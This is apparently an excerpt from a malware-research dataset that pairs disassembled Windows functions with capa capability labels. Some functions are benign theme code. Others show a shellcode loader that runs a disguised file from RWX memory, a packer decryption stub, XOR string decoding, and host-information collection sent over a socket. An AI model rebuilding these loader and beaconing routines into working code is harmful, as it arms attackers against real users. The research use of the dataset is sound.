joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6870e490
Capabilities:
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
test eax, eax
je 0x6870e4b0
lock sub dword [eax], 1
jne 0x6870e4b0
pop ebp
jmp sym._MSSTYLES_CloseThemeFile.part.0
pop ebp
ret
Function at 0x68712090
Capabilities:
Enumerate gui resources

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push esi
push ebx
push ecx
sub esp, 0x1c
mov ebx, dword [ecx]
mov esi, dword [ecx + 4]
test ebx, ebx
je 0x687120f8
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._PostMessageW_16
sub esp, 0x10
mov dword [esp + 8], esi
mov dword [esp + 4], sym._UXTHEME_broadcast_msg_enumchild_8
mov dword [esp], ebx
call sym._EnumChildWindows_12
sub esp, 0xc
lea esp, [ebp - 0xc]
mov eax, 1
pop ecx
pop ebx
pop esi
pop ebp
lea esp, [ecx - 4]
ret 8
mov dword [esp + 4], esi
mov dword [esp], sym._UXTHEME_broadcast_msg_8
call sym._EnumWindows_8
sub esp, 8
jmp 0x687120e2
Function at 0x68712560
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov esi, eax
lea eax, [ebp - 0xb4]
push ebx
sub esp, 0xec
mov dword [ebp - 0xbc], edx
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0xf003f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.Control_PanelColors
mov dword [esp], 0x80000001
call sym._RegCreateKeyExW_36
sub esp, 0x24
test eax, eax
jne 0x6871265e
mov edi, eax
lea ebx, [ebp - 0xae]
lea esi, [esi]
mov eax, dword [esi + edi*4]
mov dword [esp + 8], str._d__d__d
mov dword [esp + 4], 0xd
mov ecx, eax
mov dword [esp], ebx
shr ecx, 0x10
movzx ecx, cl
mov dword [esp + 0x14], ecx
movzx ecx, ah
movzx eax, al
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], eax
call sym._swprintf.constprop.0
mov dword [esp + 0x10], ebx
lea eax, [eax + eax + 2]
mov dword [esp + 0xc], 1
mov dword [esp + 0x14], eax
mov eax, dword [edi*4 + 0x68730200]
add edi, 1
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xb4]
mov dword [esp], eax
call sym._RegSetValueExW_24
sub esp, 0x18
cmp edi, 0x1f
jne 0x687125d8
mov eax, dword [ebp - 0xb4]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
mov eax, dword [ebp - 0xbc]
test eax, eax
je 0x687126a8
mov dword [ebp - 0x94], 0
lea ecx, [ebp - 0x94]
mov eax, 1
lea esi, [esi]
mov dword [ecx + eax*4], eax
lea edx, [eax + 1]
add eax, 2
mov dword [ecx + edx*4], edx
cmp eax, 0x1f
jne 0x68712680
mov dword [esp + 8], esi
mov dword [esp + 4], ecx
mov dword [esp], 0x1f
call sub.user32.dll_SetSysColors
sub esp, 0xc
mov dword [esp], 0xffffffff
call sym._SetThreadDpiAwarenessContext_4
sub esp, 4
mov ebx, eax
lea eax, [esi + 0x7c]
mov dword [esp + 0xc], 1
mov dword [esp + 8], eax
mov dword [esp + 4], 0x1f8
mov dword [esp], 0x2a
call sym._SystemParametersInfoW_16
lea eax, [esi + 0x274]
sub esp, 0x10
mov dword [esp + 0xc], 1
mov dword [esp + 8], eax
mov dword [esp + 4], 0x5c
mov dword [esp], 0x22
call sym._SystemParametersInfoW_16
sub esp, 0x10
mov dword [esp + 0xc], 1
mov eax, dword [esi + 0x2d0]
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp], 0x1009
call sym._SystemParametersInfoW_16
sub esp, 0x10
mov dword [esp + 0xc], 3
mov eax, dword [esi + 0x2d4]
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp], 0x1023
call sym._SystemParametersInfoW_16
sub esp, 0x10
mov dword [esp], ebx
call sym._SetThreadDpiAwarenessContext_4
sub esp, 4
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x68714830
Capabilities:
Enumerate gui resources
Set registry value

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ebx
push ecx
sub esp, 0x30
mov ebx, dword [ecx]
test byte [0x6871908c], 8
jne 0x68714870
mov eax, dword [0x68731348]
test eax, eax
je 0x6871485a
test ebx, ebx
je 0x687148a0
lea esp, [ebp - 8]
xor eax, eax
pop ecx
pop ebx
pop ebp
lea esp, [ecx - 4]
ret 4
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], str.__d__n
mov dword [esp + 8], str.EnableTheming
mov dword [esp + 4], 0x6871908c
mov dword [esp], 3
call sym._wine_dbg_log.constprop.0_7
jmp 0x6871484d
mov dword [0x68731348], 0
lea eax, [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionThemeManager
mov dword [esp], 0x80000001
call sym._RegOpenKeyW_12
sub esp, 0xc
test eax, eax
je 0x687148f8
mov dword [esp + 4], 0x31a
mov dword [esp], sym._UXTHEME_broadcast_msg_8
call sym._EnumWindows_8
xor eax, eax
sub esp, 8
lea esp, [ebp - 8]
pop ecx
pop ebx
pop ebp
lea esp, [ecx - 4]
ret 4
mov dword [esp + 0x14], 4
mov dword [esp + 0x10], 0x6872fb2a
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.ThemeActive
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._RegSetValueExW_24
mov eax, dword [ebp - 0xc]
sub esp, 0x18
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
jmp 0x687148cc

Function at 0x687155ba
Capabilities:
Enumerate gui resources

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ebx
push ecx
sub esp, 0x20
mov ebx, dword [ecx]
mov eax, dword [ecx + 4]
mov edx, dword [ecx + 8]
test byte [0x6871908c], 8
jne 0x68715608
mov dword [esp], ebx
call sym._UXTHEME_SetActiveTheme
mov dword [esp + 4], 0x31a
mov dword [esp], sym._UXTHEME_broadcast_msg_8
mov ebx, eax
call sym._EnumWindows_8
mov eax, ebx
sub esp, 8
lea esp, [ebp - 8]
pop ecx
pop ebx
pop ebp
lea esp, [ecx - 4]
ret 0xc
mov dword [esp + 0x18], edx
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], str.__p__s__p__n
mov dword [esp + 8], str.ApplyTheme
mov dword [esp + 4], 0x6871908c
mov dword [esp], 3
call sym._wine_dbg_log.constprop.0_7
jmp 0x687155d3
Function at 0x68716f40
Capabilities:
Extract resource via kernel32 functions
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2c
mov esi, dword [ebp + 8]
test byte [0x6871909c], 8
jne 0x68716ff0
mov dword [esp + 8], str.TEXTFILE
mov eax, dword [ebp + 0xc]
mov dword [esp], esi
mov dword [esp + 4], eax
call dword [sym.imp.kernel32.dll_FindResourceW]
sub esp, 0xc
mov edi, eax
test eax, eax
je 0x68717028
mov dword [esp + 4], eax
mov dword [esp], esi
call dword [sym.imp.kernel32.dll_LoadResource]
sub esp, 8
mov ebx, eax
test eax, eax
je 0x68717030
mov dword [esp], esi
mov dword [esp + 4], edi
call dword [sym.imp.kernel32.dll_SizeofResource]
sub esp, 8
mov esi, eax
mov dword [esp + 8], 0xc
and esi, 0xfffffffe
mov dword [esp + 4], 0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
sub esp, 0xc
mov dword [eax], ebx
mov dword [eax + 4], ebx
add ebx, esi
mov dword [eax + 8], ebx
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [ebp + 0xc]
call sym._wine_dbgstr_wn.constprop.0_2
mov dword [esp + 0xc], str.Loading_resource_INI__s_n
mov dword [esp + 0x10], eax
mov dword [esp + 8], 0x6873036c
mov dword [esp + 4], 0x6871909c
mov dword [esp], 3
call sym._wine_dbg_log.constprop.0_8
jmp 0x68716f59
xor ebx, ebx
jmp 0x68716f98
test byte [0x6871909c], 8
jne 0x68717040
xor eax, eax
jmp 0x68716fdf
mov eax, dword [ebp + 0xc]
call sym._wine_dbgstr_wn.constprop.0_2
mov dword [esp + 0xc], str._s_resource_not_found_n
mov dword [esp + 0x10], eax
mov dword [esp + 8], 0x6873036c
mov dword [esp + 4], 0x6871909c
mov dword [esp], 3
call sym._wine_dbg_log.constprop.0_8
xor eax, eax
jmp 0x68716fdf

Function at 0x68717080
Capabilities:
Get process heap flags

Disassembly:
push ebp
mov eax, dword fs:[0x18]
mov ebp, esp
sub esp, 0x18
mov edx, dword [ebp + 8]
mov dword [esp + 4], 0
mov dword [esp + 8], edx
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_HeapFree]
sub esp, 0xc
leave
ret

Function at 0x68717690
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_strlen]
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x687176eb
cmp byte [esi + ebx - 1], 0xa
je 0x687176bf
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
xchg dword [0x687313e4], eax
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_fwrite]
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
Function at 0x10001020
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Query environment variable
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.VirtualProtect
push str.kernel32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.VirtualAlloc
push str.kernel32.dll
mov ebx, eax
call esi
push eax
call edi
push 0x40
push 0x1000
push 0x100000
push 0
mov dword [ebp - 0x10c], 0x1000
call eax
mov esi, eax
test esi, esi
je 0x100010f6
push 0x104
lea eax, [ebp - 0x108]
push eax
push str._PUBLIC_AdobezahQA7aauCX.dat
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x100010f6
push 0
lea edx, [ebp - 0x10c]
push edx
push 0x100000
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100010f6
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
lea eax, [ebp - 0x110]
push eax
push 0x40
push 0x100000
push esi
call ebx
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10001127
mov esp, ebp
pop ebp
ret

Function at 0x10001127
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x10001131
repz ret
jmp fcn.100013b3
Function at 0x401abb
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42f090]
jne 0x401ac5
repz ret
jmp fcn.00402928

Function at 0x40b544
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00407895
and dword [ebp - 4], 0
cmp dword [0x4312f8], 0
mov ebx, eax
jne 0x40b5f5
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40b6a6
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40b6a6
push eax
call fcn.00407823
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4312f8], eax
call esi
push eax
call fcn.00407823
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4312fc], eax
call esi
push eax
call fcn.00407823
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x431300], eax
call esi
push eax
call fcn.00407823
pop ecx
mov dword [0x431308], eax
test eax, eax
je 0x40b5f5
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00407823
pop ecx
mov dword [0x431304], eax
mov eax, dword [0x431304]
cmp eax, ebx
je 0x40b64d
cmp dword [0x431308], ebx
je 0x40b64d
push eax
call fcn.0040789e
push dword [0x431308]
mov esi, eax
call fcn.0040789e
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40b64d
test edi, edi
je 0x40b64d
call esi
test eax, eax
je 0x40b644
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40b644
test byte [ebp - 0xc], 1
jne 0x40b64d
or dword [ebp + 0x10], 0x200000
jmp 0x40b686
mov eax, dword [0x4312fc]
cmp eax, ebx
je 0x40b686
push eax
call fcn.0040789e
pop ecx
test eax, eax
je 0x40b686
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40b686
mov eax, dword [0x431300]
cmp eax, ebx
je 0x40b686
push eax
call fcn.0040789e
pop ecx
test eax, eax
je 0x40b686
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4312f8]
call fcn.0040789e
pop ecx
test eax, eax
je 0x40b6a6
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40b6a8
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40d84b
Capabilities:
Set console window title

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x820
mov eax, dword [0x42f090]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor esi, esi
cmp dword [0x1ba792c], 0x930
jne 0x40d880
push str.fecuhabe
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobObjectA]
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
cmp dword [0x1ba792c], 0x114e
mov eax, dword [ebp + 8]
mov dword [0x1ba7648], eax
jne 0x40d8b7
push esi
lea eax, [ebp - 0x804]
push eax
push esi
call sub.KERNEL32.dll_VerLanguageNameW
lea eax, [ebp - 0x820]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00401abb
leave
ret
Function at 0x40d8d3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
xor esi, esi
cmp dword [ebp + 0xc], esi
jle 0x40d914
and dword [ebp - 4], 0
and dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
call fcn.0040d8c4
pop ecx
mov eax, dword [ebp - 8]
add eax, 0x46
mov dword [ebp - 4], eax
sub dword [ebp - 4], 0xa
nop
sub dword [ebp - 4], 0x3c
mov eax, dword [ebp + 8]
mov cl, byte [ebp - 4]
add eax, esi
xor byte [eax], cl
inc esi
cmp esi, dword [ebp + 0xc]
jl 0x40d8e0
cmp dword [ebp + 0xc], 0x2d
pop esi
jne 0x40d92c
or dword [0x1ba793c], 0xffffffff
mov dword [0x1ba7938], 0xa62e7790
leave
ret
Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43000c
nop
nop
nop
pop eax
nop
nop
add eax, 0x403d6a
nop
nop
sub eax, 0x403d10
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp fcn.00401219
Function at 0x10001eb0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 9
xor eax, eax
mov dl, byte [edi + eax - 0x7bd60ae8]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x1a
jb 0x10001ec1
pop edi
mov byte [esi + 0x1a], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10001ef0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x19
xor eax, eax
mov dl, byte [edi + eax + 0x1bf4bbef]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x88
jb 0x10001f01
pop edi
mov byte [esi + 0x88], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10002030
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x50
xor eax, eax
mov dl, byte [edi + eax + 0x5abdd636]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0xb
jb 0x10002041
pop edi
mov byte [esi + 0xb], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10002170
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x70
xor eax, eax
mov dl, byte [edi + eax - 0x2a0c3c7f]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x2c
jb 0x10002181
pop edi
mov byte [esi + 0x2c], 0
mov eax, esi
pop esi
pop ebp
ret 4
Function at 0x10003c40
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
mov eax, dword [0x10137ba4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x94
lea eax, [ebp - 0xd8]
push 0
push eax
call fcn.10010a40
add esp, 0xc
mov dword [ebp - 0xd8], 0x94
lea eax, [ebp - 0xd8]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [ebp - 0x44]
mov dword [ebp - 0x44], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov esi, dword [ebp - 0x3c]
mov ecx, esi
mov edx, dword [ebp - 0x38]
mov eax, edx
shrd ecx, eax, 0x14
shr eax, 0x14
sub esi, dword [ebp - 0x34]
push ecx
sbb edx, dword [ebp - 0x30]
shrd esi, edx, 0x14
push esi
push dword [ebp - 0xcc]
shr edx, 0x14
push dword [ebp - 0xd0]
push dword [ebp - 0xd4]
push str.PREMIUM
push str._CheckSystemInformation__ClientVersion:__s__SystemVersion:__d._d._d__MemoryUsage:__d__dmb
push 0
call fcn.10005ba0
mov ecx, dword [ebp - 4]
add esp, 0x20
xor ecx, ebp
pop esi
call fcn.1000deea
mov esp, ebp
pop ebp
ret

Function at 0x10003cf0
Capabilities:
Connect socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x10137ba4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
push edi
mov edi, dword [ebp + 8]
cmp dword [esi + 4], 0xffffffff
je 0x10003d7b
push dword [ebp + 0xc]
mov eax, 2
mov word [ebp - 0x14], ax
call dword [sym.imp.WS2_32.dll_htons]
push edi
mov word [ebp - 0x12], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x10], eax
cmp eax, 0xffffffff
jne 0x10003d53
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x10003d53
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp - 0x10]
push eax
call fcn.100104c0
add esp, 0xc
push 0x10
lea eax, [ebp - 0x14]
push eax
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10003d8f
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x10003d8f
mov ecx, esi
call fcn.100042a0
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000deea
mov esp, ebp
pop ebp
ret 8
push 0x23
push dword [esi + 8]
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
jne 0x10003de8
mov eax, dword [esi + 4]
cmp eax, 0xffffffff
je 0x10003db8
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi + 4], 0xffffffff
mov eax, dword [esi + 8]
test eax, eax
je 0x10003dcd
push eax
call dword [sym.imp.WS2_32.dll_WSACloseEvent]
mov dword [esi + 8], 0
pop edi
mov byte [esi + 0x100038], 0
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000deea
mov esp, ebp
pop ebp
ret 8
push 0x80000
lea eax, [esi + 0xc]
push 0
push eax
call fcn.10010a40
push 0x80000
lea eax, [esi + 0x80010]
mov dword [esi + 0x8000c], 0
push 0
push eax
call fcn.10010a40
mov ecx, dword [ebp - 4]
add esp, 0x18
mov dword [esi + 0x100010], 0
xor ecx, ebp
mov byte [esi + 0x100038], 1
mov al, 1
pop edi
pop esi
call fcn.1000deea
mov esp, ebp
pop ebp
ret 8
Function at 0x10003ea0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10029196
mov eax, dword fs:[0]
push eax
sub esp, 0x648
mov eax, dword [0x10137ba4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x654], eax
mov eax, dword [0x1002b7ec]
mov dword [ebp - 0x18], eax
mov ax, word [0x1002b7f0]
mov word [ebp - 0x14], ax
lea eax, [ebp - 0x620]
push eax
push 0x3ff
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
test eax, eax
je 0x10004004
lea esi, [ebp - 0x620]
nop dword [eax]
mov ax, word [esi]
mov word [ebp - 0x18], ax
lea eax, [ebp - 0x220]
push 0x104
push eax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x10003ff0
xor eax, eax
mov dword [ebp - 0x624], 7
mov dword [ebp - 0x628], 0
mov word [ebp - 0x638], ax
cmp word [ebx], ax
je 0x10003f6f
mov eax, ebx
lea edx, [eax + 2]
nop dword [eax]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10003f60
sub eax, edx
sar eax, 1
push eax
push ebx
lea ecx, [ebp - 0x638]
call fcn.10007c20
cmp word [ebp - 0x220], 0
mov dword [ebp - 4], 0
jne 0x10003f91
xor ecx, ecx
jmp 0x10003faf
lea ecx, [ebp - 0x220]
lea edx, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10003fa0
sub ecx, edx
sar ecx, 1
push ecx
push 0
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x638]
call fcn.100085a0
mov edi, eax
cmp edi, 0xffffffff
jne 0x10004022
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x624]
cmp eax, 8
jb 0x10003ff0
inc eax
lea ecx, [ebp - 0x638]
push eax
push dword [ebp - 0x638]
call fcn.10007f40
nop dword [eax]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x10003ff0
cmp word [esi], ax
jne 0x10003f10
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000deea
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x650]
call fcn.100026d0
mov eax, dword [eax + 0x10]
lea ecx, [ebp - 0x638]
push esi
inc eax
mov byte [ebp - 4], 1
push eax
push edi
call fcn.100099e0
mov eax, dword [ebp - 0x63c]
cmp eax, 8
jb 0x10004068
inc eax
lea ecx, [ebp - 0x650]
push eax
push dword [ebp - 0x650]
call fcn.10007f40
cmp dword [ebp - 0x624], 8
lea eax, [ebp - 0x638]
cmovae eax, dword [ebp - 0x638]
push eax
push dword [ebp + 0x10]
push dword [ebp - 0x654]
call fcn.1001327d
mov eax, dword [ebp - 0x624]
add esp, 0xc
cmp eax, 8
jb 0x100040ac
inc eax
lea ecx, [ebp - 0x638]
push eax
push dword [ebp - 0x638]
call fcn.10007f40
mov al, 1
jmp 0x10004006
Function at 0x100040c0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x8000c
call fcn.1000df00
mov eax, dword [0x10137ba4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push edi
mov edi, ecx
mov dword [ebp - 0x80008], eax
lea ebx, [edi + 0x10001c]
push ebx
mov dword [ebp - 0x8000c], ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [edi + 4], 0xffffffff
je 0x10004283
cmp byte [edi + 0x100038], 0
je 0x10004283
push esi
push 0x80000
lea eax, [ebp - 0x80004]
push 0
push eax
call fcn.10010a40
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 0x80004]
push esi
push dword [ebp - 0x80008]
push eax
call fcn.100104c0
add esp, 0x18
cmp byte [ebp - 0x80004], 0xc1
jne 0x10004156
push dword [ebp - 0x80002]
lea eax, [esi - 3]
push eax
lea eax, [ebp - 0x80001]
jmp 0x10004166
push dword [ebp - 0x80001]
lea eax, [esi - 4]
push eax
lea eax, [ebp - 0x80000]
push eax
call fcn.10005de0
mov ecx, dword [edi + 0x100010]
add esp, 0xc
test ecx, ecx
jle 0x100041c8
lea eax, [ecx + esi]
cmp eax, 0x80000
jle 0x100041a6
mov ecx, edi
call fcn.100042a0
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop edi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000deea
mov esp, ebp
pop ebp
ret 8
push esi
lea eax, [ebp - 0x80004]
push eax
lea eax, [edi + 0x80010]
add eax, ecx
push eax
call fcn.100104c0
add esp, 0xc
add dword [edi + 0x100010], esi
push ebx
jmp 0x100041f9
xor ebx, ebx
test esi, esi
jle 0x100041f2
nop
push 0
push esi
lea eax, [ebp - 0x80004]
add eax, ebx
push eax
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x10004214
sub esi, eax
add ebx, eax
test esi, esi
jg 0x100041d0
mov eax, dword [ebp - 0x8000c]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop edi
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000deea
mov esp, ebp
pop ebp
ret 8
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x1000425a
mov ecx, dword [edi + 0x100010]
lea eax, [ecx + esi]
cmp eax, 0x80000
jg 0x1000425a
lea eax, [ebp - 0x80004]
add eax, ebx
push esi
push eax
lea eax, [edi + 0x80010]
add eax, ecx
push eax
call fcn.100104c0
add esp, 0xc
lea eax, [edi + 0x10001c]
add dword [edi + 0x100010], esi
jmp 0x100041f8
mov ecx, edi
call fcn.100042a0
lea eax, [edi + 0x10001c]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop edi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000deea
mov esp, ebp
pop ebp
ret 8
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp - 4]
xor al, al
pop edi
xor ecx, ebp
pop ebx
call fcn.1000deea
mov esp, ebp
pop ebp
ret 8